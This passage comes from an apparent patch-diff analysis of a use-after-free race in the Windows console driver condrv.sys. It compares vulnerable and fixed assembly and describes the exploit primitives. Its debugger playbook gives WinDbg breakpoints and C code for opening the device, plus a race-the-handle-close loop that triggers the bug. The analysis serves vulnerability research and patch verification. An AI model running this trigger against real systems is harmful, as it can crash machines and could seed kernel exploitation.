&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a2b2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;PsIsSystemProcess&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; UAF: deref freed mem&lt;/span&gt;

&lt;span class="c1"&gt;; ... (control flow continues; pool reclamation can occur here) ...&lt;/span&gt;

&lt;span class="c1"&gt;; ---- UAF #2 &amp;amp; #3: write rdi into new struct, then inc refcount ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000ba75:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; UAF: dangling store&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;                                              ;      (rdi_1 -&amp;gt; freed pool)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000ba79:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;inc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; UAF: atomic inc on freed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched fixed sequence&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; ---- shared-pushlock release — NO dereference here ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a273:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;ExReleasePushLockSharedEx&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a27f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; (no ObfDereferenceObject — straight to PsIsSystemProcess)&lt;/span&gt;

&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a2ee:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;; r15 == old rsi, valid&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a2f1:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;skip_proc_check&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a2f3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; safe&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a2f7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;PsIsSystemProcess&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;; ... (same control flow) ...&lt;/span&gt;

&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a30e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; safe (rdi_1 still pinned)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a312:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;inc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; safe&lt;/span&gt;

&lt;span class="c1"&gt;; ---- dereference deferred to end of all paths ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a33a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;ObfDereferenceObject&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; *** FIX ***&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;          rcx = Object&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key takeaways from the diff:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The vulnerable instruction is the &lt;code&gt;call ObfDereferenceObject&lt;/code&gt; at &lt;code&gt;+0x104&lt;/code&gt; from the function start (&lt;code&gt;0x1c000a274 − 0x1c000a170 = 0x104&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Between the early deref and the freed-pool accesses there are only a handful of instructions and branches (the &lt;code&gt;lock inc [rdi+0x18]&lt;/code&gt; at &lt;code&gt;0x1c000ba79&lt;/code&gt; lives in an out-of-line cold block reached by a forward branch and a jump back). The race window is small.&lt;/li&gt;
&lt;li&gt;All three UAF accesses are eliminated by moving a single call.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Obtain a handle to &lt;code&gt;\Device\ConDrv&lt;/code&gt;.&lt;/strong&gt; Either via &lt;code&gt;NtCreateFile("\\Device\\ConDrv", ...)&lt;/code&gt; directly, or implicitly through the Win32 console APIs (&lt;code&gt;AllocConsole&lt;/code&gt;, &lt;code&gt;AttachConsole&lt;/code&gt;, console-process creation). The handle must be the kind that ends up routed to &lt;code&gt;CdCreateDefaultObjectClient (sub_1C000A170)&lt;/code&gt; (connection establishment / server IO completion).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Drive the IOCTL.&lt;/strong&gt; Issue the IOCTL that the dispatch routines (&lt;code&gt;CdpDispatchDeviceControl&lt;/code&gt; or &lt;code&gt;CdpConnectionIoctl&lt;/code&gt;) route to &lt;code&gt;CdCreateDefaultObjectClient&lt;/code&gt; (reached via an indirect call). To exercise the freed-pool accesses, the slow path must be taken (&lt;code&gt;rsi != 0&lt;/code&gt;, i.e. resolution through &lt;code&gt;CdGetProcessConnection&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;From a second thread, race a close on the same handle.&lt;/strong&gt; The close path will drop &lt;code&gt;Object&lt;/code&gt;'s other references; combined with the early &lt;code&gt;ObfDereferenceObject&lt;/code&gt; at &lt;code&gt;0x1c000a274&lt;/code&gt;, this drives the refcount to zero, freeing &lt;code&gt;Object&lt;/code&gt; and its &lt;code&gt;FsContext2&lt;/code&gt; (&lt;code&gt;rsi&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Win the race window&lt;/strong&gt; between:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;call ObfDereferenceObject&lt;/code&gt; at &lt;code&gt;0x1c000a274&lt;/code&gt;, and&lt;/li&gt;
&lt;li&gt;The last UAF access — the &lt;code&gt;lock inc qword [rdi + 0x18]&lt;/code&gt; at &lt;code&gt;0x1c000ba79&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The window is small (a handful of instructions and branches), so winning the race requires the concurrent close to land precisely between the deref and the derived-pointer uses.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Observable confirmation:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;A winning race that reads freed pool typically produces a &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; (0x50) or other pool-corruption bugcheck, with the faulting address inside the previously-allocated console pool and the faulting instruction at &lt;code&gt;0x1c000a2ae&lt;/code&gt;, &lt;code&gt;0x1c000ba75&lt;/code&gt;, or &lt;code&gt;0x1c000ba79&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Driver Verifier (Special Pool / Pool Tracking) flags the freed-pool access at the faulting instruction, which is the reliable way to confirm the bug.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Primitive (as delivered by the freed-pool accesses)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Freed-pool read&lt;/strong&gt; via &lt;code&gt;mov rcx, [rsi+0x20]&lt;/code&gt; → &lt;code&gt;PsIsSystemProcess(...)&lt;/code&gt;. On the slow path, if &lt;code&gt;Object&lt;/code&gt; was freed by the early deref, &lt;code&gt;rsi&lt;/code&gt; (its &lt;code&gt;FsContext2&lt;/code&gt; connection) is freed pool, so &lt;code&gt;*(rsi+0x20)&lt;/code&gt; is read from freed memory. This is the first freed-pool access on the slow path and is not gated by any further predicate.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Freed-pool atomic write&lt;/strong&gt; via &lt;code&gt;lock inc qword [rdi+0x18]&lt;/code&gt; — an atomic increment at offset 0x18 of the freed server-connection block.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dangling-pointer store&lt;/strong&gt; via &lt;code&gt;mov [rbx+0x8], rdi&lt;/code&gt; — the freed &lt;code&gt;rdi_1&lt;/code&gt; is recorded into the freshly allocated connection structure.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Constraint on the two write-side accesses: both live in the block reached only when &lt;code&gt;PsIsSystemProcess(*(rsi+0x20)) != 0&lt;/code&gt;, i.e. only when the connection's owning process is the System process. That predicate is not attacker-controlled for an ordinary connection, so the atomic-increment and dangling-store are not a general unprivileged write primitive. What an unprivileged caller can drive on the slow path is the freed-pool read and the general use of freed connection/server-connection memory, whose most likely observable effect is a kernel crash.&lt;/p&gt;
&lt;p&gt;Escalation beyond that (pool grooming to reclaim the freed block, promotion to arbitrary read/write, token theft) is not demonstrable from these two binaries and is not claimed here.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;Assume kernel debugger (WinDbg/KD) attached to &lt;code&gt;condrv_unpatched.sys&lt;/code&gt;. Module base and offsets below assume &lt;code&gt;condrv!CdCreateDefaultObjectClient (sub_1C000A170)&lt;/code&gt; is loaded at the same VA as in the diff; rebalance with &lt;code&gt;lm condrv&lt;/code&gt; if not.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp condrv+0xA170 &amp;quot;!.echo \&amp;quot;[+] entered CdCreateDefaultObjectClient (sub_1C000A170)\&amp;quot;; r rcx; rdx; r8; qwo @rsp+0x28&amp;quot;
bp condrv+0xA274 &amp;quot;!.echo \&amp;quot;[+] EARLY ObfDereferenceObject — about to drop Object ref\&amp;quot;; r rcx; !object @rcx&amp;quot;
bp condrv+0xA2A9 &amp;quot;!.echo \&amp;quot;[+] UAF #1: rsi check\&amp;quot;; r rsi; !pool @rsi 2&amp;quot;
bp condrv+0xA2AE &amp;quot;!.echo \&amp;quot;[+] UAF #1 deref: *(rsi+0x20)\&amp;quot;; r rsi; u @rip L1; qwo @rsi+0x20&amp;quot;
bp condrv+0xBA75 &amp;quot;!.echo \&amp;quot;[+] UAF #2: dangling store rdi into new struct\&amp;quot;; r rdi; r rbx; !pool @rdi 2&amp;quot;
bp condrv+0xBA79 &amp;quot;!.echo \&amp;quot;[+] UAF #3: lock inc [rdi+0x18]\&amp;quot;; r rdi; qwo @rdi+0x18&amp;quot;
bp condrv+0xA33A &amp;quot;!.echo \&amp;quot;[+] PATCHED-side location — if you see this, you&amp;#39;re on the fixed build\&amp;quot;&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;(Offsets are file-relative; convert by &lt;code&gt;condrv+0x…&lt;/code&gt; — &lt;code&gt;0x1c000a170&lt;/code&gt; becomes &lt;code&gt;condrv+0xA170&lt;/code&gt; if &lt;code&gt;condrv&lt;/code&gt; is loaded at &lt;code&gt;0x1C0000000&lt;/code&gt;. Always confirm with &lt;code&gt;u condrv!CdCreateDefaultObjectClient (sub_1C000A170) L20&lt;/code&gt;.)&lt;/p&gt;
&lt;h3&gt;What to inspect&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;At function entry (&lt;code&gt;condrv+0xA170&lt;/code&gt;):&lt;/strong&gt; &lt;code&gt;rcx&lt;/code&gt; is the IRP, &lt;code&gt;rdx&lt;/code&gt; often the IOCTL-coded arg, &lt;code&gt;r8&lt;/code&gt; the connection object's vtable-derived context. Walk the IRP stack via &lt;code&gt;dx -r2 (*((nt!_IRP*)@rcx)).Tail.Overlay.CurrentStackLocation&lt;/code&gt; to see &lt;code&gt;Parameters.DeviceIoControl.IoControlCode&lt;/code&gt; and &lt;code&gt;InputBufferLength&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;condrv+0xA274&lt;/code&gt; (the bug):&lt;/strong&gt; &lt;code&gt;rcx&lt;/code&gt; = &lt;code&gt;Object&lt;/code&gt;. Use &lt;code&gt;!object @rcx&lt;/code&gt; to confirm it is a file object, &lt;code&gt;!pool @rcx 2&lt;/code&gt; to read its pool header / tag and outstanding reference count via &lt;code&gt;!obtrace @rcx&lt;/code&gt; (if object tracing is enabled with &lt;code&gt;gflag +otl&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;condrv+0xA2A9&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;rsi&lt;/code&gt; should equal &lt;code&gt;Object-&amp;gt;FsContext2&lt;/code&gt;. If &lt;code&gt;!pool @rsi 2&lt;/code&gt; shows the block is freed (&lt;code&gt;*FREED*&lt;/code&gt; / not in active list), the bug fired.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;condrv+0xBA75&lt;/code&gt; / &lt;code&gt;+0xBA79&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;rdi&lt;/code&gt; is &lt;code&gt;rdi_1&lt;/code&gt; = &lt;code&gt;rsi-&amp;gt;ServerConn&lt;/code&gt;. If &lt;code&gt;!pool @rdi 2&lt;/code&gt; shows free state, the atomic increment will corrupt whatever has reclaimed the pool slot — inspect with &lt;code&gt;dp @rdi L8&lt;/code&gt; to see the current contents.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Key instructions / offsets&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset (module-relative)&lt;/th&gt;
&lt;th&gt;What&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xA265&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call KeLeaveCriticalRegion&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Marks end of the lock-hold window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xA274&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call ObfDereferenceObject(Object)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;The bug&lt;/strong&gt; — removed from this site in the patch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xA2A9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;test rsi, rsi&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;First UAF access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xA2AE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov rcx, [rsi+0x20]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deref through freed &lt;code&gt;rsi&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xBA75&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov [rbx+0x8], rdi&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Dangling-pointer store&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xBA79&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;lock inc [rdi+0x18]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Atomic write to freed pool — primary primitive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xA33A&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call ObfDereferenceObject(Object)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Patched position (end of path)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Trigger setup (user mode)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Device handle:&lt;/strong&gt;
   &lt;code&gt;c
   HANDLE h;
   UNICODE_STRING name = RTL_CONSTANT_STRING(L"\\Device\\ConDrv");
   OBJECT_ATTRIBUTES oa = { sizeof(oa), NULL, &amp;amp;name, OBJ_CASE_INSENSITIVE, NULL, NULL };
   IO_STATUS_BLOCK iosb;
   NtCreateFile(&amp;amp;h, FILE_READ_DATA | SYNCHRONIZE, &amp;amp;oa, &amp;amp;iosb, NULL, 0,
                FILE_SHARE_READ|FILE_SHARE_WRITE, FILE_OPEN,
                FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);&lt;/code&gt;
   (Equivalent: trigger the path indirectly via &lt;code&gt;AllocConsole&lt;/code&gt; on a child process.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Identify the IOCTL&lt;/strong&gt; that routes to &lt;code&gt;CdCreateDefaultObjectClient (sub_1C000A170)&lt;/code&gt;. Set the entry breakpoint first; once hit, dump the IRP's &lt;code&gt;IoControlCode&lt;/code&gt;:
   &lt;code&gt;text
   bp condrv+0xA170
   ; on hit:
   dx -r2 (*((nt!_IRP*)@rcx)).Tail.Overlay.CurrentStackLocation&lt;/code&gt;
   The &lt;code&gt;Parameters.DeviceIoControl.IoControlCode&lt;/code&gt; value is the IOCTL you must replay from user mode via &lt;code&gt;NtDeviceIoControlFile(h, NULL, NULL, NULL, &amp;amp;iosb, &amp;lt;ioctl&amp;gt;, in, inlen, out, outlen)&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Race the close:&lt;/strong&gt;
   &lt;code&gt;c
   HANDLE h2; DuplicateHandle(GetCurrentProcess(), h, GetCurrentProcess(), &amp;amp;h2, 0, FALSE, DUPLICATE_SAME_ACCESS);
   // Thread A:
   //   while (alive) { NtDeviceIoControlFile(h, ...); }
   // Thread B:
   //   while (alive) { CloseHandle(h); CloseHandle(h2); h = reopen(); h2 = dup(h); }&lt;/code&gt;
   Tighten the window by pinning Thread A to a single CPU (&lt;code&gt;SetThreadAffinityMask&lt;/code&gt;) and elevating its priority.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Expected observation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;With Driver Verifier Special Pool enabled&lt;/strong&gt; (&lt;code&gt;verifier /standard /driver condrv.sys&lt;/code&gt;): the freed-pool access on a winning race is flagged by the verifier at the faulting instruction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Without DV:&lt;/strong&gt; a &lt;code&gt;0x50 PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; (or other pool-corruption bugcheck), faulting address in the console driver's pool range, faulting instruction at &lt;code&gt;condrv+0xA2AE&lt;/code&gt;, &lt;code&gt;+0xBA75&lt;/code&gt;, or &lt;code&gt;+0xBA79&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Struct / offset notes&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Object (FILE_OBJECT-derived console object)
  +0x18  FsContext2   -&amp;gt; rsi   (connection data block)
rsi (connection data)
  +0x18  ServerConn   -&amp;gt; rdi_1 (server connection structure)
  +0x20  Process      (PEPROCESS*, fed to PsIsSystemProcess)
rdi_1 (server connection structure)
  +0x18  RefCount     (atomic — target of the UAF lock-inc)
  +0x28  Lock         (EX_PUSH_LOCK, taken shared)
  +0xC0  LinkedObject (read under the shared lock — Object_1)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;Only one function changed; the diff is binary-minimal.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;CdCreateDefaultObjectClient (sub_1C000A170)&lt;/code&gt; — similarity 0.9029 — &lt;code&gt;security_relevant&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Behavioral change (the fix):&lt;/strong&gt; &lt;code&gt;ObfDereferenceObject(Object)&lt;/code&gt; relocated from &lt;code&gt;+0x104&lt;/code&gt; (right after &lt;code&gt;KeLeaveCriticalRegion&lt;/code&gt;) to &lt;code&gt;+0x1CA&lt;/code&gt; (&lt;code&gt;0x1c000a33a&lt;/code&gt;, end of every code path). This single change eliminates the UAF window for &lt;code&gt;rsi&lt;/code&gt; and &lt;code&gt;rdi_1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cosmetic / non-security changes:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The fast-path type check reads the same &lt;code&gt;CdServerType&lt;/code&gt; global descriptor in both builds (its raw address moves with the build's rodata layout, not a semantic change).&lt;/li&gt;
&lt;li&gt;Allocation helper address shifted: &lt;code&gt;CdpAllocateClient&lt;/code&gt; moved from &lt;code&gt;0x1c000a320&lt;/code&gt; to &lt;code&gt;0x1c000a3b0&lt;/code&gt; (same function body, build-layout difference — every function after &lt;code&gt;CdCreateDefaultObjectClient&lt;/code&gt; slid because that function grew by ~0x90 bytes to hold the added exit-path derefs).&lt;/li&gt;
&lt;li&gt;Register allocation reorganized to support the reordered control flow — pure compiler artifact.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No other functions changed.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; none.&lt;/li&gt;
